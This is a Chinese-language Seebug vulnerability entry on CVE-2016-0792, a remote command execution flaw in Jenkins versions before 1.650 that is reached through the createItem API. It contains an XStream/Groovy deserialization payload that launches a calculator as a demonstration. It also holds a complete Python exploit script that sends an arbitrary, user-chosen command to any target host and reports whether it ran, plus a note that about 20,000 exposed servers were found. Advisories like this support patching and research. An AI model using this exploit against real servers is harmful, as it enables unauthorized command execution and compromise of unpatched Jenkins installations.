Lucene search

K
seebugRootSSV:90813
HistoryFeb 26, 2016 - 12:00 a.m.

Jenkins 低权限用户 API 服务调用 可致远程命令执行

2016-02-2600:00:00
Root
www.seebug.org
27

0.973 High

EPSS

Percentile

99.9%

漏洞演示

将 Jenkins 跑起来后,在低权限用户下构造 XML 文档:


<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando" reference="../../../.."/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                <string>open</string>
                <string>/Applications/Calculator.app</string>
              </command>
              <redirectErrorStream>false</redirectErrorStream>
            </owner>
            <resolveStrategy>0</resolveStrategy>
            <directive>0</directive>
            <parameterTypes/>
            <maximumNumberOfParameters>0</maximumNumberOfParameters>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1</int>
  </entry>
</map>

发送 Payload 至接口 http://...:8080/jenkins/createItem?name=knownsec:

成功后服务端会运行 计算器 程序。

漏洞影响

影响版本:< 1.650 (1.650版本已修复该问题)

从zoomeye.org上搜索设备指纹“Jenkins”

从搜索的结果来看,约存在20000个潜在受到影响的目标。

相关链接


                                                #! /usr/bin/env python2

#Jenkins Groovy XML RCE (CVE-2016-0792)
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
#Made with <3 by @byt3bl33d3r

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP:PORT')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')

if len(sys.argv) < 2:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()

if len(args.target.split(':')) != 2:
    print '[-] Target must be in format IP:PORT'
    sys.exit(1)

if not args.command:
    print '[-] You must specify a command to run'
    sys.exit(1)

ip, port = args.target.split(':')

print '[*] Target IP: {}'.format(ip)
print '[*] Target PORT: {}'.format(port)

xml_formatted = ''
command_list = args.command.split()
for cmd in command_list:
    xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)

xml_payload = '''<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando" reference="../../../.."/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                {}
              </command>
              <redirectErrorStream>false</redirectErrorStream>
            </owner>
            <resolveStrategy>0</resolveStrategy>
            <directive>0</directive>
            <parameterTypes/>
            <maximumNumberOfParameters>0</maximumNumberOfParameters>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
   <int>1</int>
 </entry>
</map>'''.format(xml_formatted.strip())

print '[*] Generated XML payload:'
print xml_payload
print 

print '[*] Sending payload'
headers = {'Content-Type': 'text/xml'}
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)

paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
if r.status_code == 500:
    for path in paths_in_trace:
        if path in r.text:
            print '[+] Command executed successfully'
            break